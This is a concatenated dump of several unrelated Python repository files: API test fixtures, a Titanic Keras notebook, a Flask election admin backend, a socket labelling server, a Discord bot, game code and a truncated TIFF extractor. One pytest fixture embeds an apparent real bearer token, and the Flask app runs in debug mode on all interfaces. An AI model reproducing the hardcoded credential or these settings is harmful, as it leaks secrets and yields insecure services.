logger.debug(f\"DELETE Response data: {delete_response.text}\")\n\n return delete_response\n\n@pytest.fixture(scope=\"function\")\ndef test_create_todo(user_id):\n headers = get_headers()\n\n todo_data = {\n \"title\": fake.sentence(),\n \"status\": fake.random_element(elements=(\"pending\", \"completed\"))\n }\n response = requests.post(f'{BASE_URL}{user_id}/todos', json=todo_data, headers=headers)\n\n assert response.status_code == 201\n logger.debug(f\"Verifying deleted user with ID: {user_id}\")\n logger.debug(f\"Response status code: {response.status_code}\")\n logger.debug(f\"Response data: {response.text}\")\n\n return response\n\n@pytest.fixture(scope=\"function\")\ndef test_get_user_todos(user_id):\n headers = get_headers()\n\n response = requests.get(f'{BASE_URL}/{user_id}/todos', headers=headers)\n\n assert response.status_code == 200\n logger.debug(f\"Getting user todos for ID: {user_id}\")\n logger.debug(f\"Response status code: {response.status_code}\")\n logger.debug(f\"Response data: {response.text}\")\n\n return response.json()\n\n@pytest.fixture(scope=\"function\")\ndef test_patch_invalid_email(test_data):\n user_id, _ = test_data\n headers = get_headers()\n\n\n invalid_test_data = {\n 'email': 'updateemail.in',\n }\n\n response = requests.patch(f'{BASE_URL}/{user_id}', json=invalid_test_data, headers=headers)\n\n assert not str(response.status_code).startswith('2')\n\n logger.debug(f\"Invalid PATCH request for user ID: {user_id}\")\n logger.debug(f\"Response status code: {response.status_code}\")\n logger.debug(f\"Response data: {response.text}\")\n\n return response\n\n@pytest.fixture(scope=\"function\")\ndef make_post_request_to_posts_endpoint():\n fake = Faker()\n user_id = 5202764\n message = \"Hello Monese test\"\n title = \"Sourav\"\n body = \"Test task for Monese\"\n\n data = {\n 'user_id': user_id,\n 'message': message,\n 'title': title,\n 'body': body\n }\n\n headers = {\n 'Accept': 'application/json',\n 'Content-Type': 'application/json',\n 'Authorization': 'Bearer a6feb1e9909e836edaa64ebb91544d694441cb09f1bc0940fe3f11f568aa191f'\n }\n\n url = 'https://gorest.co.in/public/v2/posts'\n\n data_json = json.dumps(data)\n\n response = requests.post(url, headers=headers, data=data_json)\n\n # Log the request and response information\n logger.debug(f\"POST request to {url}\")\n logger.debug(f\"Headers: {headers}\")\n logger.debug(f\"Request data: {data_json}\")\n logger.debug(f\"Response status code: {response.status_code}\")\n logger.debug(f\"Response data: {response.text}\")\n\n return response\n\n\n@pytest.fixture(scope=\"function\")\ndef make_post_request_with_validation():\n # Create headers\n headers = {\n 'Accept': 'application/json',\n 'Content-Type': 'application/json',\n 'Authorization': 'Bearer '\n }\n\n url = 'https://gorest.co.in/public/v2/posts'\n\n data = {}\n\n data_json = json.dumps(data)\n\n response = requests.post(url, headers=headers, data=data_json)\n\n logger.debug(f\"POST request to {url}\")\n logger.debug(f\"Headers: {headers}\")\n logger.debug(f\"Request data: {data_json}\")\n logger.debug(f\"Response status code: {response.status_code}\")\n logger.debug(f\"Response data: {response.text}\")\n\n return response\n\n\n\n\n","repo_name":"csourav08/Monese_API_Automation","sub_path":"API_Automation/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":7913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15705673995","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# **Titanic survival prediction with Keras deep learning framework and tensorflow as keras backend .**\n\n# In[ ]:\n\n\nimport numpy as np\nimport pandas as pd\nfrom subprocess import check_output\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn import metrics\nimport keras\n\n\n# In[ ]:\n\n\ndf_train = pd.read_csv(\"../input/train.csv\")\ndf_test = pd.read_csv(\"../input/test.csv\")\n\n\n# In[ ]:\n\n\ndf_train.head(3)\n\n\n# In[ ]:\n\n\ndf_test.head(3)\n\n\n# In[ ]:\n\n\nfeatures_list = list(df_train.columns.values)\nprint(features_list)\n\n\n# In[ ]:\n\n\n#Use only important features\nfeatures = ['Pclass','Sex','Age','Fare']\n\n\n# In[ ]:\n\n\n#Processing data\nle = LabelEncoder()\n\ndf_train[\"Sex\"] = le.fit_transform(df_train[\"Sex\"])\ndf_test[\"Sex\"] = le.fit_transform(df_test[\"Sex\"])\n\ndf_train['Fare'] = df_train['Fare'].fillna(df_train['Fare'].mean())\ndf_test['Fare'] = df_train['Fare'].fillna(df_train['Fare'].mean())\n\ndf_train['Age'] = df_train['Age'].fillna(df_train['Age'].mean())\ndf_test['Age'] = df_train['Age'].fillna(df_train['Age'].mean())\n\ndf_train['Embarked'] = df_train['Embarked'].fillna(\"S\")\ndf_test['Embarked'] = df_test['Embarked'].fillna(\"S\")\n\ndf_train['Embarked'] = le.fit_transform(df_train['Embarked'])\ndf_test['Embarked'] = le.fit_transform(df_test['Embarked'])\n\ndf_train['Cabin'] = df_train['Cabin'].fillna(\"None\")\ndf_test['Cabin'] = df_test['Cabin'].fillna(\"None\")\ndf_train['Cabin'] = le.fit_transform(df_train['Cabin'])\ndf_test['Cabin'] = le.fit_transform(df_test['Cabin'])\n\ndf_train['Ticket'] = le.fit_transform(df_train['Ticket'])\ndf_test['Ticket'] = le.fit_transform(df_test['Ticket'])\n\n\n\ny = df_train['Survived']\nx = df_train[features]\nx_t = df_test[features]\n\n\n# In[ ]:\n\n\ndf_train.head(1)\n\n\n# In[ ]:\n\n\ndf_test.head(1)\n\n\n# In[ ]:\n\n\ndf_train.isnull().sum()\n\n\n# In[ ]:\n\n\ndf_test.isnull().sum()\n\n\n# In[ ]:\n\n\nX_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.10,random_state=32)\n\n\n# In[ ]:\n\n\nprint(\"X_train :\",X_train.shape)\nprint(\"X_test :\",X_test.shape)\nprint(\"y_train :\",y_train.shape)\nprint(\"y_test :\",y_test.shape)\n\n\n# In[ ]:\n\n\ndf_train.head(1)\n\n\n# In[ ]:\n\n\ndf_test.head(1)\n\n\n# In[ ]:\n\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense,Activation,Dropout\nfrom keras.utils import np_utils\nfrom keras.optimizers import SGD\n\n\n# In[ ]:\n\n\nmodel = Sequential()\n\nmodel.add(Dense(64,input_dim=4))\nmodel.add(Activation(\"relu\"))\nmodel.add(Dropout(0.3))\n\nmodel.add(Dense(64))\nmodel.add(Activation(\"relu\"))\nmodel.add(Dropout(0.3))\n\nmodel.add(Dense(2))\nmodel.add(Activation(\"softmax\"))\n\n\n# In[ ]:\n\n\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n\n\n# In[ ]:\n\n\ny_train_categorical = np_utils.to_categorical(y_train)\n\n\n# In[ ]:\n\n\na = model.fit(X_train.values, y_train_categorical, nb_epoch=500)\n\n\n# In[ ]:\n\n\ny_test_categorical = np_utils.to_categorical(y_test)\nloss_and_metrics = model.evaluate(X_test.values, y_test_categorical)\nprint(loss_and_metrics)\n\n\n# In[ ]:\n\n\nclasses = model.predict_classes(x_t.values)\n\n\n# In[ ]:\n\n\nsubmission = pd.DataFrame({\n \"PassengerId\": df_test[\"PassengerId\"],\n \"Survived\": classes})\nprint(submission[0:10])\n\nsubmission.to_csv('./keras_model_3.csv', index=False)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"nischalshrestha/automatic_wat_discovery","sub_path":"Notebooks/py/souravroy/titanic-survival-prediction-with-keras-acc-84/titanic-survival-prediction-with-keras-acc-84.py","file_name":"titanic-survival-prediction-with-keras-acc-84.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"72781903842","text":"from flask import Flask, request, Response, make_response, jsonify\nfrom configuration import Configuration\nfrom models import database, Participant, Election, ElectionParticipant, Vote\nfrom adminDecorator import roleCheck\nfrom flask_jwt_extended import JWTManager\nfrom datetime import datetime\nfrom dateutil import parser\nfrom sqlalchemy import and_, or_, func\nimport pytz\n\napplication = Flask(__name__)\napplication.config.from_object(Configuration)\n\njwt = JWTManager(application)\n\n\n@application.route(\"/createParticipant\", methods=[\"POST\"])\n@roleCheck(role=\"admin\")\ndef createParticipant():\n name = request.json.get(\"name\", \"\")\n individual = request.json.get(\"individual\", \"\")\n\n nameEmpty = len(name) == 0\n individualEmpty = type(individual) is str\n\n msg = \"Field {} is missing.\"\n\n if nameEmpty:\n return make_response(jsonify(message=msg.format(\"name\")), 400)\n elif individualEmpty:\n return make_response(jsonify(message=msg.format(\"individual\")), 400)\n\n participant = Participant(name=name, individual=individual)\n\n database.session.add(participant)\n database.session.commit()\n\n return make_response(jsonify(id=participant.id), 200)\n\n\n@application.route(\"/getParticipants\", methods=[\"GET\"])\n@roleCheck(role=\"admin\")\ndef getParticipants():\n participants = []\n for instance in Participant.query.all():\n participant = {\"id\": instance.id, \"name\": instance.name, \"individual\": instance.individual}\n participants.append(participant)\n\n return make_response(jsonify(participants = participants), 200)\n\n\n@application.route(\"/createElection\", methods=[\"POST\"])\n@roleCheck(role=\"admin\")\ndef createElection():\n start = request.json.get(\"start\", \"\")\n end = request.json.get(\"end\", \"\")\n individual = request.json.get(\"individual\", \"\")\n participants = request.json.get(\"participants\", \"\")\n\n startEmpty = len(start) == 0\n endEmpty = len(end) == 0\n individualEmpty = type(individual) is str\n participantsEmpty = type(participants) is str\n\n msg = \"Field {} is missing.\"\n\n if startEmpty:\n return make_response(jsonify(message=msg.format(\"start\")), 400)\n elif endEmpty:\n return make_response(jsonify(message=msg.format(\"end\")), 400)\n elif individualEmpty:\n return make_response(jsonify(message=msg.format(\"individual\")), 400)\n elif participantsEmpty:\n return make_response(jsonify(message=msg.format(\"participants\")), 400)\n\n try:\n startDate = parser.isoparse(start)\n endDate = parser.isoparse(end)\n except:\n return make_response(jsonify(message=\"Invalid date and time.\"), 400)\n\n if startDate >= endDate:\n return make_response(jsonify(message=\"Invalid date and time.\"), 400)\n\n elections = Election.query.all()\n\n noParticipants = len(participants) == 0\n\n for el in elections:\n if not (endDate < el.start or startDate > el.end):\n return make_response(jsonify(message=\"Invalid date and time.\"), 400)\n\n\n if len(participants) < 2:\n return make_response(jsonify(message=\"Invalid participants.\"), 400)\n\n numParticipants = 0\n for participant in Participant.query.filter(\n or_(\n *[Participant.id == par for par in participants]\n )\n ).all():\n numParticipants += 1\n if individual != participant.individual:\n return make_response(jsonify(message=\"Invalid participants.\"), 400)\n\n if numParticipants != len(participants):\n return make_response(jsonify(message=\"Invalid participants.\"), 400)\n\n allParticipants = Participant.query.all()\n\n # tz = pytz.timezone(\"Europe/Belgrade\")\n # startDate = startDate.astimezone(tz=tz)\n # endDate = endDate.astimezone(tz=tz)\n election = Election(start=startDate, end=endDate, individual=individual)\n\n database.session.add(election)\n database.session.commit()\n\n pollNumbers = []\n for i in range(len(participants)):\n ep = ElectionParticipant(participantId=participants[i], electionId=election.id, pollNumber=i + 1)\n database.session.add(ep)\n database.session.commit()\n pollNumbers.append(i + 1)\n\n return make_response(jsonify(pollNumbers=pollNumbers), 200)\n\n\n@application.route(\"/getElections\", methods=[\"GET\"])\n@roleCheck(role=\"admin\")\ndef getElections():\n elections = []\n for election in Election.query.all():\n electionDict = {\"id\": election.id, \"start\": election.start.isoformat(), \"end\": election.end.isoformat(),\\\n \"individual\": election.individual}\n\n participants = []\n for participant in election.participants:\n participants.append({\"id\": participant.id, \"name\": participant.name})\n\n electionDict[\"participants\"] = participants\n\n elections.append(electionDict)\n\n return make_response(jsonify(elections=elections), 200)\n\n\n@application.route(\"/getResults\", methods=[\"GET\"])\n@roleCheck(role=\"admin\")\ndef getResults():\n electionId = request.args.get(\"id\", \"\")\n\n if len(str(electionId)) == 0:\n return make_response(jsonify(message=\"Field id is missing.\"), 400)\n\n election = Election.query.filter(Election.id == electionId).first()\n\n if not election:\n return make_response(jsonify(message=\"Election does not exist.\"), 400)\n\n tz = pytz.timezone(\"Europe/Belgrade\")\n dt_now = datetime.now(tz=tz).replace(tzinfo=None)\n if election.end > dt_now:\n return make_response(jsonify(message=\"Election is ongoing.\"), 400)\n\n queryCountFunc = func.count(Vote.pollNumber)\n queryV = Vote.query.filter(and_(Vote.valid == True, Vote.electionId == electionId)).group_by(\\\n Vote.pollNumber).with_entities(Vote.pollNumber, queryCountFunc)\n\n votes = queryV.all()\n\n totalVotes = 0\n for vote in votes:\n totalVotes += vote[1]\n\n electionParticipants = []\n if election.individual:\n for vote in votes:\n electionParticipant = {\"pollNumber\": vote[0], \"name\": election.participants[vote[0] - 1].name}\n result = round(float(vote[1]) / totalVotes, 2)\n electionParticipant[\"result\"] = result\n electionParticipants.append(electionParticipant)\n else:\n votesAboveThreshold = []\n votesBelowThreshold = []\n assignedSeats = []\n for vote in votes:\n if (float(vote[1]) / totalVotes >= 0.05):\n votesAboveThreshold.append(vote)\n assignedSeats.append(0)\n else:\n votesBelowThreshold.append(vote)\n\n numSeats = 250\n for i in range(numSeats):\n maxQuot, maxQuotIndex = -1, 0\n for j in range(len(votesAboveThreshold)):\n quot = float(votesAboveThreshold[j][1]) / (assignedSeats[j] + 1)\n if quot > maxQuot:\n maxQuot = quot\n maxQuotIndex = j\n\n assignedSeats[maxQuotIndex] += 1\n\n electionParticipants = []\n for i in range(len(votesAboveThreshold)):\n electionParticipant = {\"pollNumber\": votesAboveThreshold[i][0],\n \"name\": election.participants[votesAboveThreshold[i][0] - 1].name,\n \"result\": assignedSeats[i]}\n electionParticipants.append(electionParticipant)\n\n for i in range(len(votesBelowThreshold)):\n electionParticipant = {\"pollNumber\": votesBelowThreshold[i][0],\n \"name\": election.participants[votesBelowThreshold[i][0] - 1].name, \"result\": 0}\n electionParticipants.append(electionParticipant)\n\n invalidVotes = []\n\n query = Vote.query.filter(\n and_(\n Vote.valid == False, Vote.electionId == electionId\n )\n )\n\n result = query.all()\n\n for vote in result:\n invalidVote = {\"electionOfficialJmbg\": vote.electionOfficialJmbg, \"ballotGuid\": vote.guid,\n \"pollNumber\": vote.pollNumber, \"reason\": vote.reason}\n invalidVotes.append(invalidVote)\n\n return make_response(jsonify(participants=electionParticipants, invalidVotes=invalidVotes), 200)\n\n\n\nif __name__ == \"__main__\":\n database.init_app(application)\n application.run(debug=True, host=\"0.0.0.0\", port=5001)\n","repo_name":"codeIgy/election-backend-app","sub_path":"application/admin/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":8224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36255009081","text":"import socket\nfrom pathlib import Path\nimport os, random\nfrom _thread import *\n\n\n# YouOnlyLabelOnce server\n# by tom o'donnell (tkodonne@purdue.edu)\n#\n# allows for easy yolov5 image labeling collaboration between teams\n# \n# starts a tcp server on port 12345 allowing the client\n# application to request images for annotation, and send\n# a resulting annotation file to the server.\n\nServerSideSocket = socket.socket()\nhost = '127.0.0.1'\nport = 12345\nexisting_labels = []\n\ndef main():\n try:\n ServerSideSocket.bind((host, port))\n except socket.error as e:\n print(str(e))\n print('Socket is listening..')\n ServerSideSocket.listen(5)\n\n while True:\n Client, address = ServerSideSocket.accept()\n print('Connected to: ' + address[0] + ':' + str(address[1]))\n start_new_thread(multi_threaded_client, (Client, ))\n ServerSideSocket.close()\n\ndef multi_threaded_client(connection):\n while True:\n data = connection.recv(2048)\n response = data.decode('utf-8')\n if not data:\n break\n\n # if receive an image request\n if response == \"r\":\n print(\"client requests image\")\n\n rand_img = random.choice(os.listdir(\"unannotated\"))\n with open(\"unannotated/\" + rand_img, \"rb\") as fd:\n buf = fd.read(1048576) # 10mb\n connection.send(buf)\n\n else:\n print(\"resp: \" + response)\n\n # create annotation file\n with open(\"annotations/\" + Path(rand_img).stem + \".txt\" , 'w') as file:\n file.write(response)\n \n # move image to annotated folder\n Path(\"unannotated/\" + rand_img).rename(\"annotated/\" + rand_img)\n\n\n connection.close()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"iBoot32/YouOnlyLabelOnce","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31543613956","text":"#--python--\n\"\"\"\nThe Workhorse Workflow\n\nThis is a workflow designed to work with execnet to run through a series of\ncalculations. The results of the prior stage are passed to the next stage\nfor further computation (or dropped if the prior stage says its no good).\n\nThis includes a snap-shot feature which periodically writes the state of the\nsystem out to disk so it can be recovered and used as a launchpad, hopefully\nreducing the amount of data which must be recomputed.\n\n\"\"\"\n\nimport execnet\n\nimport m2.workflow.workflow as base\nimport m2.state as state\n\nimport scheduler\nimport sieve\nimport uow\n\nclass Workhorse(base.WorkflowBase):\n def __init__(self, state_manager, cluster_manager):\n super(Workhorse, self).__init__(scheduler.Scheduler(cluster_manager))\n self.state_mgr_ = state_manager\n self.state_id_ = 'workhorse'\n\n def init(self,\n assignment_callback=None,\n output_callback=None,\n discard_callback=None,\n low_water_callback=None,\n low_water_mark=0):\n super(Workhorse, self).init(output_callback=output_callback,\n assignment_callback=assignment_callback,\n discard_callback=discard_callback,\n low_water_callback=low_water_callback,\n low_water_mark=low_water_mark)\n self.connect_to_state_manager_()\n return self\n\n def create_stage(self, stage_id):\n stage = sieve.Sieve(state_manager = self.state_mgr_,\n module = stage_id,\n scheduler = self.scheduler_).init(self.state_id_)\n assert stage.isrunning() is False\n return stage\n\n def make_uow_(self, params):\n \"\"\" Given an integer prime make_uow_ allocates a new uow \"\"\"\n return uow.UnitOfWorkStateful().init({'p': params})\n\n # Additional methods for this class\n def connect_to_state_manager_(self):\n self.state_mgr_.register(self.state_id_, self.state_callback_)\n\n def metrics(self):\n return \"\"\"metrics\"\"\"+self.scheduler_.metrics()\n\n # State manager methods\n def state_callback_(self, event, snap_data):\n \"\"\"Handle state changes from StateManager.\n\n event = LOAD or SAVE (or puke-and-die if they send something else)\n context = the obj we supplied during registration\n snap_data = for events.LOAD, the snapshot data we returned earlier.\n \"\"\"\n print(\"STATE CALLBACK -- WORKFLOW\")\n if event is state.event.events.LOAD:\n if self.running_:\n raise state.InvalidState()\n self.restore_(snap_data)\n elif event is state.event.events.SAVE:\n snap = self.snapshot_()\n return snap\n else:\n raise state.InvalidState()\n\n def snapshot_(self):\n \"\"\"Freeze our current state, to recover later.\"\"\"\n print('WORKFLOW SNAPSHOT')\n return {}\n\n def restore_uow_(self, state):\n return uow.UnitOfWorkStateful().init().restore(state)\n\n def restore_(self, snapshot):\n \"\"\"Recover to state we froze earlier.\n\n Args:\n snapsot = the state_object returned by prior snapshot_() call.\n\n Return: (state_object, additions)\n \"\"\"\n print('WORKFLOW RESTORE')\n return snapshot\n","repo_name":"slacr/oslab-archive","sub_path":"projects/mersenne/trunk/src/m2/workhorse/workflow.py","file_name":"workflow.py","file_ext":"py","file_size_in_byte":3378,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"865662227","text":"# Exercise 1: Revise a previous program as follows: Read and parse the “From”\r\n# lines and pull out the addresses from the line. Count the number of messages from\r\n# each person using a dictionary.\r\n# After all the data has been read, print the person with the most commits by\r\n# creating a list of (count, email) tuples from the dictionary. Then sort the list in\r\n# reverse order and print out the person who has the most commits.\r\n#\r\n# Sample Line:\r\n# From stephen.marquard@uct.ac.za Sat Jan 5 09:14:16 2008\r\n#\r\n# Enter a file name: mbox-short.txt\r\n# cwen@iupui.edu 5\r\n#\r\n# Enter a file name: mbox.txt\r\n# zqian@umich.edu 195\r\n\r\nemail_dict = dict()\r\nfname = input('Enter a file name:')\r\nfopen = open(fname)\r\nfor line in fopen:\r\n line = line.strip()\r\n if line.startswith('From '):\r\n s = line.split()\r\n email = s[1]\r\n if email not in email_dict:\r\n email_dict[email] = 1\r\n else:\r\n email_dict[email] = email_dict[email] + 1\r\nlst = list()\r\nfor key, val in list(email_dict.items()):\r\n lst.append((val,key))\r\n\r\nlst.sort(reverse=True)\r\nval, key = lst[0]\r\nprint(key, val)\r\n","repo_name":"sandeepkundala/Python-for-Everybody---Exploring-Data-in-Python-3-Exercise-solutions","sub_path":"ex10_1.py","file_name":"ex10_1.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38269205760","text":"import discord\nfrom discord.ext import commands\nimport os\nimport requests\n\nTOKEN = '' # Paste token here\n\nbot = commands.Bot(command_prefix = '.')\n\ndef tell_joke():\n\turl = 'https://icanhazdadjoke.com/'\n\tresponse = requests.get(url, headers={\"Accept\": \"application/json\"})\n\tdata = response.json()\n\treturn str(data['joke'])\n\ndef get_meme():\n\turl = 'https://meme-api.herokuapp.com/gimme'\n\tresponse = requests.get(url, headers={\"Accept\": \"application/json\"})\n\tdata = response.json()\n\treturn str((data['url']))\n\ndef get_corona_update():\n\turl = 'https://api.rootnet.in/covid19-in/stats/latest'\n\tresponse = requests.get(url, headers = {'Accept': 'application/json'})\n\tdata = response.json() \n\ttotal = data['data']['summary']['total']\n\tdeath = data['data']['summary']['deaths']\n\trecover = data['data']['summary']['discharged']\n\tactive = total - recover - death\n\treturn (f\"Total cases : {total} \\nDeaths: {death} \\nRecovered : {recover} \\nActive: {active} \\nLast Updated: {data['lastRefreshed']}\")\n\ndef insults():\n\turl = 'https://evilinsult.com/generate_insult.php?lang=en&type=json'\n\tresponse = requests.get(url, headers = {'Accept': 'application/json'})\n\tdata = response.json()\n\treturn str((data['insult']))\n\n@bot.event\nasync def on_ready():\n\tprint(\"Let's go!\")\n\n@bot.event\nasync def on_message(message):\n\tchannel = message.channel\n\tcontent = message.content\n\tif content == '!joke':\n\t\tjoke = tell_joke()\n\t\tawait channel.send(joke)\n\t\n\tif content.lower() == 'go corona':\n\t\tawait channel.send('Corona Go!')\n\n\tif content == '!meme':\n\t\tmeme = get_meme()\n\t\tawait channel.send(meme)\n\t\t\n\tif content == '!corona':\n\t\tupdate = get_corona_update()\n\t\tawait channel.send(update)\n\t\n\tif content == '!insult':\n\t\tinsult = insults()\n\t\tawait channel.send(insult)\n\t\t\nbot.run(TOKEN)\n","repo_name":"IamLakhan/Joke-bot","sub_path":"dadbot.py","file_name":"dadbot.py","file_ext":"py","file_size_in_byte":1754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12483374167","text":"import math\nimport random\nfrom .melee_enemy import *\nfrom .shoot_enemy import *\n\n\nclass EnemyGroup:\n def __init__(self, game):\n self._game = game\n random.seed(self._game.get_seed())\n\n self._enemy_sprites = pygame.sprite.Group()\n self._max_enemies = g_max_enemies\n self._enemy_count = 0\n self._cooldown = 0\n self._max_spawn_cooldown = 500\n self._min_spawn_cooldown = 60\n self._min_cooldown_time = 1000\n self._melee_chance = g_enemy_melee_chance\n\n def update(self):\n self.add_enemy()\n self._enemy_sprites.update()\n self.remove_enemy()\n\n def add_enemy(self):\n if self._enemy_count < self._max_enemies:\n chance = random.randint(1, g_enemy_spawn_chance)\n melee_chance = random.random()\n if self._cooldown > 0:\n self._cooldown -= 1\n elif chance == 1:\n if melee_chance <= self._melee_chance:\n self._enemy_sprites.add(MeleeEnemy(self._game, self._game.get_display_width() - 1,\n self._game.get_display_height() - self._game.get_terrain().get_map()[\n self._game.get_terrain().get_terrain_res() - 1], g_red))\n else:\n self._enemy_sprites.add(ShootEnemy(self._game, self._game.get_display_width() - 1,\n self._game.get_display_height() - self._game.get_terrain().get_map()[\n self._game.get_terrain().get_terrain_res() - 1], g_blue))\n self._enemy_count += 1\n self._cooldown = (self._max_spawn_cooldown - self._min_spawn_cooldown) * math.e ** (\n -1 / self._min_cooldown_time * self._game.get_player().get_offset()) + self._min_spawn_cooldown\n\n def remove_enemy(self):\n for enemy in self._enemy_sprites:\n if enemy.get_health() <= 0:\n enemy.kill()\n self._enemy_count -= 1\n self._game.increment_kills(1)\n if enemy.rect.right < 0:\n enemy.kill()\n self._enemy_count -= 1\n\n def draw_health_bars(self, display):\n for enemy in self._enemy_sprites:\n enemy.get_health_bar().draw(display)\n\n # Accessors\n def get_enemy_sprites(self):\n return self._enemy_sprites\n\n def set_enemy_sprites(self, enemies):\n self._enemy_sprites = enemies\n","repo_name":"ShaksterNano/NEA-Sidescroller-Game","sub_path":"entities/enemies/enemy_group.py","file_name":"enemy_group.py","file_ext":"py","file_size_in_byte":2570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71231852321","text":"\"\"\"ImagingExtractors for the TIFF image format produced by Bruker.\n\nClasses\n-------\nBrukerTiffSinglePlaneImagingExtractor\n A ImagingExtractor for TIFF files produced by Bruker with only 1 plane.\nBrukerTiffMultiPlaneImagingExtractor\n A MultiImagingExtractor for TIFF files produced by Bruker with multiple planes.\n\"\"\"\nimport logging\nimport re\nfrom collections import Counter\nfrom itertools import islice\nfrom pathlib import Path\nfrom types import ModuleType\nfrom typing import Optional, Tuple, Union, List, Dict\nfrom xml.etree import ElementTree\n\nimport numpy as np\n\nfrom ...multiimagingextractor import MultiImagingExtractor\nfrom ...imagingextractor import ImagingExtractor\nfrom ...extraction_tools import PathType, get_package, DtypeType, ArrayType\n\n\ndef filter_read_uic_tag_warnings(record):\n \"\"\"Filter out the warnings from tifffile.read_uic_tag() that are not relevant to the user.\"\"\"\n return not record.msg.startswith(\"\")\n\n\nlogging.getLogger(\"tifffile.tifffile\").addFilter(filter_read_uic_tag_warnings)\n\n\ndef _get_tiff_reader() -> ModuleType:\n \"\"\"Return the tifffile module.\"\"\"\n return get_package(package_name=\"tifffile\", installation_instructions=\"pip install tifffile\")\n\n\ndef _determine_frame_rate(element: ElementTree.Element, file_names: Optional[List[str]] = None) -> Union[float, None]:\n \"\"\"Determine the frame rate from the difference in relative timestamps of the frame elements.\"\"\"\n from neuroconv.utils import calculate_regular_series_rate\n\n frame_elements = element.findall(\".//Frame\")\n if file_names:\n frame_elements = [\n frame for frame in frame_elements for file in frame.findall(\"File\") if file.attrib[\"filename\"] in file_names\n ]\n\n relative_times = [float(frame.attrib[\"relativeTime\"]) for frame in frame_elements]\n frame_rate = calculate_regular_series_rate(np.array(relative_times))\n\n return frame_rate\n\n\ndef _determine_imaging_is_volumetric(folder_path: PathType) -> bool:\n \"\"\"Determine whether imaging is volumetric based on 'zDevice' configuration value.\n\n Parameters\n ----------\n folder_path : PathType\n The path to the folder that contains the Bruker TIF image files (.ome.tif) and configuration files (.xml, .env).\n\n Returns\n -------\n is_volumetric: bool\n True if the imaging is volumetric (multiplane), False otherwise (single plane).\n \"\"\"\n xml_root = _parse_xml(folder_path=folder_path)\n z_device_element = xml_root.find(\".//PVStateValue[@key='zDevice']\")\n is_volumetric = bool(int(z_device_element.attrib[\"value\"]))\n\n return is_volumetric\n\n\ndef _parse_xml(folder_path: PathType) -> ElementTree.Element:\n \"\"\"Parse the XML configuration file into element tree and returns the root Element.\"\"\"\n folder_path = Path(folder_path)\n xml_file_path = folder_path / f\"{folder_path.name}.xml\"\n assert xml_file_path.is_file(), f\"The XML configuration file is not found at '{folder_path}'.\"\n tree = ElementTree.parse(xml_file_path)\n return tree.getroot()\n\n\nclass BrukerTiffMultiPlaneImagingExtractor(MultiImagingExtractor):\n \"\"\"A MultiImagingExtractor for TIFF files produced by Bruke with multiple planes.\n\n This format consists of multiple TIF image files (.ome.tif) and configuration files (.xml, .env).\n \"\"\"\n\n extractor_name = \"BrukerTiffMultiPlaneImaging\"\n is_writable = True\n mode = \"folder\"\n\n @classmethod\n def get_streams(cls, folder_path: PathType) -> dict:\n \"\"\"Get the available streams from the Bruker TIF image files (.ome.tif) and configuration files (.xml, .env).\n\n Parameters\n ----------\n folder_path : PathType\n The path to the folder that contains the Bruker TIF image files (.ome.tif) and configuration files (.xml, .env).\n\n Returns\n -------\n streams: dict\n The dictionary of available streams.\n \"\"\"\n natsort = get_package(package_name=\"natsort\", installation_instructions=\"pip install natsort\")\n\n xml_root = _parse_xml(folder_path=folder_path)\n channel_names = [file.attrib[\"channelName\"] for file in xml_root.findall(\".//File\")]\n unique_channel_names = natsort.natsorted(set(channel_names))\n streams = dict(channel_streams=unique_channel_names)\n streams[\"plane_streams\"] = dict()\n if not _determine_imaging_is_volumetric(folder_path=folder_path):\n return streams\n # The \"channelName\" can be any name that the experimenter sets (e.g. 'Ch1', 'Ch2', 'Green', 'Red')\n # Use the identifier of a channel \"channel\" (e.g. 1, 2) to match it to the file name\n channel_ids = [file.attrib[\"channel\"] for file in xml_root.findall(\".//File\")]\n unique_channel_ids = natsort.natsorted(set(channel_ids))\n for channel_id, channel_name in zip(unique_channel_ids, unique_channel_names):\n plane_naming_pattern = rf\"(?PCh{channel_id}_\\d+)\"\n plane_stream_names = [\n re.search(plane_naming_pattern, file.attrib[\"filename\"])[\"stream_name\"]\n for file in xml_root.findall(f\".//File\")\n ]\n unique_plane_stream_names = natsort.natsorted(set(plane_stream_names))\n streams[\"plane_streams\"][channel_name] = unique_plane_stream_names\n return streams\n\n def __init__(\n self,\n folder_path: PathType,\n stream_name: Optional[str] = None,\n ):\n \"\"\"Create a BrukerTiffMultiPlaneImagingExtractor instance from a folder path that contains the image files.\n\n Parameters\n ----------\n folder_path : PathType\n The path to the folder that contains the Bruker TIF image files (.ome.tif) and configuration files (.xml, .env).\n stream_name: str, optional\n The name of the recording channel (e.g. \"Ch2\").\n\n Raises\n ------\n ValueError\n If more than one recording stream is detected.\n ValueError\n If the selected stream is not in the available plane_streams.\n AssertionError\n If the TIF image files are missing from the folder.\n AssertionError\n If the imaging is not volumetric.\n \"\"\"\n self._tifffile = _get_tiff_reader()\n\n folder_path = Path(folder_path)\n tif_file_paths = list(folder_path.glob(\"*.ome.tif\"))\n assert tif_file_paths, f\"The TIF image files are missing from '{folder_path}'.\"\n\n assert 